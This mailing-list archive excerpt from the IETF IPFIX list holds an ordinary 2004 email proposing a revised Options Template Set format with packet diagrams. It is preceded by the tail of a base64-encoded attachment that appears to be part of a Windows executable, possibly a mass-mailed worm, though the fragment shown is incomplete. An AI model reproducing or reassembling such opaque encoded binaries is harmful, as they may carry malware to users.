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
pR1wNw==

----------ypnqwidqbuwyzhcefdii--


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Wed Oct  6 14:33:43 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA20704
	for <ipfix-archive@lists.ietf.org>; Wed, 6 Oct 2004 14:33:42 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CFG7Q-0001no-00
	for ipfix-list@mil.doit.wisc.edu; Wed, 06 Oct 2004 13:02:28 -0500
Received: from odd-brew.cisco.com ([144.254.15.119] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1CFG7N-0001nS-00
	for ipfix-protocol@net.doit.wisc.edu; Wed, 06 Oct 2004 13:02:25 -0500
Received: from [144.254.112.193] (dhcp-edi-comm-144-254-112-193.cisco.com [144.254.112.193])
	by strange-brew.cisco.com (8.11.7p1+Sun/8.8.8) with ESMTP id i96I2L114218
	for <ipfix-protocol@net.doit.wisc.edu>; Wed, 6 Oct 2004 20:02:21 +0200 (CEST)
Message-ID: <4164332D.4060502@cisco.com>
Date: Wed, 06 Oct 2004 20:02:21 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] Improving the IPFIX option template format, not that scope is an
 normal information element?
Content-Type: multipart/alternative;
 boundary="------------020601050500050203090206"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------020601050500050203090206
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Dear all,

In the latest version of the IPFIX protocol draft, we modified the 
Option Template so that the scope now contains a normal Information Element.

See 
http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt. 
See section 7.5.1 and 7.5.2

Now that this change is done, we see a small discrepancy in the 
different Set formats

The Template Set specifies the Field Count 
       0                   1                   2                   3  
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |          Set ID = 2           |          Length               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      Template ID 256          |       *  Field Count        *   |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 1           |         Field Length 1        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  1.1                     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 2           |         Field Length 2        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type N           |         Field Length N        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   
      |                    Enterprise Number  1.N                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      Template ID 257          |         Field Count           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 1           |         Field Length 1        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 2           |         Field Length 2        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  2.2                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type M           |         Field Length M        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  2.M                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                          Padding (opt)                        | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 

Options Template Set Format specifies Option Scope Length and Option Length, as opposed to number of Fields like in the Template Set
    
       0                   1                   2                   3  
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |          Set ID = 3           |          Length               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |         Template ID           |      *Option Scope Length *     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      *  Option Length    *      |      Scope 1 Field Type       |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Scope 1 Field Length      |      Scope 2 Field Type       |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Scope 2 Field Length      |             ...               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |            ...                |      Scope N Field Type       | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |     Scope N Field Length      |         Scope N ...           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    ... Enterprise Number      |      Option 1 Field Type      |       
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    Option 1 Field Length      |           Option 1 ...        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    ... Enterprise Number      |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |       Option M Field Type     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Option M Field Length     |         Padding (opt)         |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  


We propose a new definition of the Options Template Set Format, with Field Count (total number of fields) and Scope Field Counter. 

       0                   1                   2                   3  
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |          Set ID = 3           |          Length               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |         Template ID           |         *Field Count *          |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      *  Scope Field Count  *    |      Scope 1 Field Type       |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+    
      |     Scope 1 Field Length      |      Scope 2 Field Type       |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Scope 2 Field Length      |             ...               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |            ...                |      Scope N Field Type       | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |     Scope N Field Length      |         Scope N ...           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    ... Enterprise Number      |      Option 1 Field Type      |       
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    Option 1 Field Length      |           Option 1 ...        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |    ... Enterprise Number      |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |       Option M Field Type     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Option M Field Length     |         Padding (opt)         |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  

     Field Count 
           Number of fields in this Option Template Record.  Because a 
           Option Template Set usually contains multiple Template Records, 
           this field allows the Collecting Process to determine the 
           end of the current Option Template Record and the start of the 
           next. 

     Scope Field Count 
           Number of scope fields in this Option Template Record. 

Any feedback.

Regards, Stewart and Benoit.



--------------020601050500050203090206
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
<title></title>
Dear all,<br>
<br>
In the latest version of the IPFIX protocol draft, we <font
 face="Courier New"><span
 style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;">modified the
Option
Template so that the scope now contains a normal Information Element.<br>
</span></font><p:colorscheme
 colors="#ffffff,#000000,#000000,#ffffff,#336666,#b92b38,#0000ff,#339999"></p:colorscheme><br>
<font face="Courier New"><span
 style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;">See
<a class="moz-txt-link-freetext"
 href="http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt">http://www.ietf.org/internet-drafts/draft-ietf-ipfix-protocol-05.txt</a>.
See section 7.5.1 and 7.5.2<br>
<br>
Now that this change is done, we see a small discrepancy in the
different Set formats<br>
</span></font>
<pre>The Template Set specifies the Field Count 
       0                   1                   2                   3  
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |          Set ID = 2           |          Length               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      Template ID 256          |       <b>  Field Count        </b>   |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 1           |         Field Length 1        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  1.1                     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 2           |         Field Length 2        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type N           |         Field Length N        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+   
      |                    Enterprise Number  1.N                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      Template ID 257          |         Field Count           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 1           |         Field Length 1        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type 2           |         Field Length 2        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  2.2                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |             ...               |              ...              |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |        Field Type M           |         Field Length M        |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                    Enterprise Number  2.M                     | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |                          Padding (opt)                        | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
</pre>
<pre>Options Template Set Format specifies Option Scope Length and Option Length, as opposed to number of Fields like in the Template Set
    
       0                   1                   2                   3  
       0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |          Set ID = 3           |          Length               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |         Template ID           |      <b>Option Scope Length </b>     |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |      <b>  Option Length    </b>      |      Scope 1 Field Type       |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Scope 1 Field Length      |      Scope 2 Field Type       |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |     Scope 2 Field Length      |             ...               |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
      |            ...                |      Scope N Field Type       | 
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ 
      |     Scope N Field Length      |         Scope N ...           |  
      +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+  
